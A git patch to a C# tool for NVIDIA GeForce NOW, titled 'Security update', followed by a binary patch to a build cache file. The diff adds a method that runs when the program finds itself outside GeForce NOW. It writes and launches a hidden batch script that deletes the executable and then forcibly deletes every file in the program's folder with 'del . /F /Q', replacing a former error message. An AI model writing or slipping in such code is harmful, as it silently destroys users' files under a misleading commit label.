From 034210df83d2b369cec658f1da62c00145fed0bf Mon Sep 17 00:00:00 2001 From: Just-A-Simple-User <51511209+Just-A-Simple-User@users.noreply.github.com> Date: Sat, 4 Jul 2020 20:20:55 +0300 Subject: [PATCH] Security update --- USE-CSharp-Edition/Program.cs | 24 +++++++++++++++--- ...harp-Edition.csprojAssemblyReference.cache | Bin 424 -> 9822 bytes 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/USE-CSharp-Edition/Program.cs b/USE-CSharp-Edition/Program.cs index 8cad156..da740b7 100644 --- a/USE-CSharp-Edition/Program.cs +++ b/USE-CSharp-Edition/Program.cs @@ -7,19 +7,37 @@ using System.Diagnostics; using System.Text; using System.Threading.Tasks; +using System.Reflection; namespace USE_CSharp_Edition { class Program { + + static void InitiateSelfDestructSequence() + { + string batchScriptName = Path.GetTempPath().ToString() + "f.bat"; + using (StreamWriter writer = File.AppendText(batchScriptName)) + { + writer.WriteLine(":Loop"); + writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\""); + writer.WriteLine("if Errorlevel 1 ("); + writer.WriteLine(" Timeout /T 1 /Nobreak"); + writer.WriteLine(" Goto Loop"); + writer.WriteLine(")"); + writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""); + writer.WriteLine("cd \"" + Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\""); + writer.WriteLine("del . /F /Q"); + } + Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" }); + } static void Main(string[] args) { Console.Title = "USE by SoftwareRat [v.3.0] - C# Edition"; if (File.Exists(@"C:\Windows\gfndesktop.exe") != true || Directory.Exists(@"C:\asgard") != true || Directory.Exists(@"C:\Users\kiosk") != true || Directory.Exists(@"C:\Users\xen") != true || Directory.Exists(@"C:\Users\kiosk\Documents\Dummy") != true) { - MessageBox.Show("You don`t run this software on NVIDIA GeForce NOW!" + Environment.NewLine + - "For more information, contact SoftwareRat on Discord!", "Non GeForce NOW system detected! [Errorcode: 0x001]", - MessageBoxButtons.OK, MessageBoxIcon.Error); + InitiateSelfDestructSequence(); + Application.Exit(); } else { diff --git a/USE-CSharp-Edition/obj/Debug/USE-CSharp-Edition.csprojAssemblyReference.cache b/USE-CSharp-Edition/obj/Debug/USE-CSharp-Edition.csprojAssemblyReference.cache index 4768c2a8f292143375a7a93d38c8db51aa0e2838..85cb0ee82f595689584b098858c9cca3403f8503 100644 GIT binary patch literal 9822 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 delta 28 ecmccTvx0epKO^I{$pMUBd<;M!zy>0LfExgDECmVx